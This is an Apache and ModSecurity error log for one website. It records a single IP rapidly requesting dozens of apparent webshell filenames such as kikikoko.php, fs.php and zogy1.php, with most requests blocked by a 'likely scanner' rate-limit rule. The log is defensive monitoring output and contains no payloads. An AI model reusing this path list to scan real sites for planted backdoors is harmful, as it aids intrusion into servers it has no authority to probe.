[Fri Apr 24 21:53:15.260050 2026] [:error] [pid 22114:tid 22124] [client 4.235.80.198:59469] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aet1y4AuWGz3WlMQjof37gAAAQc"]
[Fri Apr 24 21:53:21.566688 2026] [:error] [pid 17808:tid 17823] [client 4.235.80.198:19029] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aet10earbOEFI8qshvJNOQAAAE0"]
[Fri Apr 24 21:53:25.055794 2026] [:error] [pid 14531:tid 14537] [client 4.235.80.198:1867] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aet11XfLU2gw-6KR-GbaAgAAAUQ"]
[Fri Apr 24 21:53:28.624351 2026] [:error] [pid 17720:tid 17763] [client 4.235.80.198:60423] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aet12OhlUs6BS3Ng7_W_swAAAMk"]
[Fri Apr 24 21:53:30.642742 2026] [:error] [pid 17808:tid 17822] [client 4.235.80.198:53214] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aet12uarbOEFI8qshvJNRQAAAEw"]
[Fri Apr 24 21:53:35.210815 2026] [:error] [pid 17719:tid 17735] [client 4.235.80.198:39727] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aet138TZ9gzEyL1BkPq3vAAAAIg"]
[Fri Apr 24 21:53:37.805416 2026] [:error] [pid 17720:tid 17778] [client 4.235.80.198:62400] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aet14ehlUs6BS3Ng7_W_zgAAANg"]
[Fri Apr 24 21:53:39.139068 2026] [:error] [pid 4177:tid 4207] [client 4.235.80.198:26434] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aet1432asKnvdrSe0x44XwAAAZY"]
[Fri Apr 24 21:53:49.828317 2026] [:error] [pid 17719:tid 17733] [client 4.235.80.198:18967] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aet17cTZ9gzEyL1BkPq3wQAAAIY"]
[Fri Apr 24 21:53:55.859360 2026] [:error] [pid 4177:tid 4198] [client 4.235.80.198:45621] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aet1832asKnvdrSe0x44lgAAAY0"]
[Fri Apr 24 21:53:57.010167 2026] [:error] [pid 4177:tid 4191] [client 4.235.80.198:1296] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aet19X2asKnvdrSe0x44mwAAAYY"]
[Fri Apr 24 21:53:59.726168 2026] [:error] [pid 4177:tid 4189] [client 4.235.80.198:1613] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aet1932asKnvdrSe0x44ogAAAYQ"]
[Fri Apr 24 21:54:00.884755 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:32555] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aet1-HfLU2gw-6KR-GbaKwAAAVc"]
[Fri Apr 24 21:54:01.897745 2026] [:error] [pid 17720:tid 17770] [client 4.235.80.198:1471] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aet1-ehlUs6BS3Ng7_XANQAAANA"]
[Fri Apr 24 21:54:03.596101 2026] [:error] [pid 14531:tid 14544] [client 4.235.80.198:26862] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aet1-3fLU2gw-6KR-GbaMQAAAUs"]
[Fri Apr 24 21:54:04.513619 2026] [:error] [pid 22114:tid 22120] [client 4.235.80.198:25396] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aet1_IAuWGz3WlMQjof4HQAAAQM"]
[Fri Apr 24 21:54:05.270578 2026] [:error] [pid 17720:tid 17777] [client 4.235.80.198:1294] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aet1_ehlUs6BS3Ng7_XARQAAANc"]
[Fri Apr 24 21:54:06.245661 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:32531] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aet1_uhlUs6BS3Ng7_XASAAAAM8"]
[Fri Apr 24 21:54:08.249361 2026] [:error] [pid 14531:tid 14548] [client 4.235.80.198:18958] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aet2AHfLU2gw-6KR-GbaOAAAAU8"]
[Fri Apr 24 21:54:12.757679 2026] [:error] [pid 17808:tid 17812] [client 4.235.80.198:61103] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aet2BOarbOEFI8qshvJNeQAAAEI"]
[Fri Apr 24 21:54:41.348723 2026] [:error] [pid 17808:tid 17833] [client 4.235.80.198:20429] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aet2IearbOEFI8qshvJNswAAAFc"]
[Fri Apr 24 21:54:42.412281 2026] [:error] [pid 4177:tid 4198] [client 4.235.80.198:31512] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aet2In2asKnvdrSe0x45CQAAAY0"]
[Fri Apr 24 21:54:43.483196 2026] [:error] [pid 4177:tid 4190] [client 4.235.80.198:26847] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aet2I32asKnvdrSe0x45DQAAAYU"]
[Fri Apr 24 21:54:44.246801 2026] [:error] [pid 17719:tid 17750] [client 4.235.80.198:48938] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aet2JMTZ9gzEyL1BkPq35AAAAJc"]
[Fri Apr 24 21:54:46.311674 2026] [:error] [pid 17808:tid 17816] [client 4.235.80.198:16765] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aet2JuarbOEFI8qshvJNxAAAAEY"]
[Fri Apr 24 21:54:47.411585 2026] [:error] [pid 17720:tid 17760] [client 4.235.80.198:48904] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aet2J-hlUs6BS3Ng7_XAugAAAMY"]
[Fri Apr 24 21:54:49.017941 2026] [:error] [pid 17720:tid 17765] [client 4.235.80.198:37042] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aet2KehlUs6BS3Ng7_XAuwAAAMs"]
[Fri Apr 24 21:54:50.321701 2026] [:error] [pid 14531:tid 14552] [client 4.235.80.198:40805] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aet2KnfLU2gw-6KR-GbaXQAAAVM"]
[Fri Apr 24 21:54:51.547738 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:29044] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aet2K32asKnvdrSe0x45GAAAAZI"]
[Fri Apr 24 21:54:52.673755 2026] [:error] [pid 4177:tid 4194] [client 4.235.80.198:19003] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aet2LH2asKnvdrSe0x45HgAAAYk"]
[Fri Apr 24 21:54:53.373297 2026] [:error] [pid 4177:tid 4188] [client 4.235.80.198:27852] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aet2LX2asKnvdrSe0x45JAAAAYM"]
[Fri Apr 24 21:54:55.485513 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:18978] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aet2L32asKnvdrSe0x45NgAAAZA"]
[Fri Apr 24 21:54:56.403770 2026] [:error] [pid 4177:tid 4195] [client 4.235.80.198:47039] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aet2MH2asKnvdrSe0x45QwAAAYo"]
[Fri Apr 24 21:54:59.227513 2026] [:error] [pid 14531:tid 14546] [client 4.235.80.198:27879] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aet2M3fLU2gw-6KR-GbabQAAAU0"]
[Fri Apr 24 21:55:02.238835 2026] [:error] [pid 17720:tid 17774] [client 4.235.80.198:48910] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aet2NuhlUs6BS3Ng7_XAzwAAANQ"]
[Fri Apr 24 21:55:03.200044 2026] [:error] [pid 17808:tid 17819] [client 4.235.80.198:50566] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aet2N-arbOEFI8qshvJN3AAAAEk"]
[Fri Apr 24 21:55:05.806052 2026] [:error] [pid 17721:tid 17798] [client 4.235.80.198:32524] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aet2OeFXXkLeyDnfk_9LTAAAABE"]
[Fri Apr 24 21:55:06.704225 2026] [:error] [pid 17808:tid 17816] [client 4.235.80.198:35991] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aet2OuarbOEFI8qshvJN6AAAAEY"]
[Fri Apr 24 21:55:08.745614 2026] [:error] [pid 17808:tid 17822] [client 4.235.80.198:35975] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aet2POarbOEFI8qshvJN8gAAAEw"]
[Fri Apr 24 21:55:12.345759 2026] [:error] [pid 17808:tid 17819] [client 4.235.80.198:59416] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aet2QOarbOEFI8qshvJN_AAAAEk"]
[Fri Apr 24 21:55:13.324646 2026] [:error] [pid 22114:tid 22130] [client 4.235.80.198:31541] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aet2QYAuWGz3WlMQjof4NAAAAQ0"]
[Fri Apr 24 21:55:18.417159 2026] [:error] [pid 22114:tid 22126] [client 4.235.80.198:51179] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aet2RoAuWGz3WlMQjof4QAAAAQk"]
[Fri Apr 24 21:55:20.012003 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:59409] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aet2SH2asKnvdrSe0x45dQAAAZI"]
[Fri Apr 24 21:55:20.923767 2026] [:error] [pid 4177:tid 4209] [client 4.235.80.198:46451] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aet2SH2asKnvdrSe0x45ewAAAZg"]
[Fri Apr 24 21:55:22.721410 2026] [:error] [pid 17720:tid 17766] [client 4.235.80.198:18052] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aet2SuhlUs6BS3Ng7_XA-QAAAMw"]
[Fri Apr 24 21:55:24.086650 2026] [:error] [pid 17720:tid 17756] [client 4.235.80.198:46438] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aet2TOhlUs6BS3Ng7_XBAgAAAMI"]
[Fri Apr 24 21:55:26.507650 2026] [:error] [pid 4177:tid 4191] [client 4.235.80.198:1498] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aet2Tn2asKnvdrSe0x45lgAAAYY"]
[Fri Apr 24 21:55:28.799061 2026] [:error] [pid 14531:tid 14533] [client 4.235.80.198:18109] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aet2UHfLU2gw-6KR-GbalgAAAUA"]
[Fri Apr 24 21:55:30.855221 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Fri Apr 24 21:55:31.165554 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/atkno.php
[Fri Apr 24 21:55:31.429676 2026] [:error] [pid 4177:tid 4188] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Fri Apr 24 21:55:31.754788 2026] [:error] [pid 4177:tid 4207] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/insta.php
[Fri Apr 24 21:55:32.018111 2026] [:error] [pid 4177:tid 4202] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/wpxl.php
[Fri Apr 24 21:55:32.293397 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Fri Apr 24 21:55:32.755089 2026] [:error] [pid 4177:tid 4192] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php
[Fri Apr 24 21:55:33.019227 2026] [:error] [pid 4177:tid 4205] [client 4.235.80.198:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/ptanf.php
[Fri Apr 24 21:55:33.841143 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:52125] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aet2VX2asKnvdrSe0x45swAAAZc"]
[Fri Apr 24 21:55:36.840339 2026] [:error] [pid 22114:tid 22137] [client 4.235.80.198:62920] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aet2WIAuWGz3WlMQjof4XQAAARQ"]
[Fri Apr 24 21:55:38.787316 2026] [:error] [pid 4177:tid 4197] [client 4.235.80.198:1070] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aet2Wn2asKnvdrSe0x45xgAAAYw"]
[Fri Apr 24 21:55:39.670012 2026] [:error] [pid 4177:tid 4190] [client 4.235.80.198:21943] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aet2W32asKnvdrSe0x45zAAAAYU"]
[Fri Apr 24 21:55:42.582282 2026] [:error] [pid 17721:tid 17785] [client 4.235.80.198:1488] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "aet2XuFXXkLeyDnfk_9LywAAAAQ"]
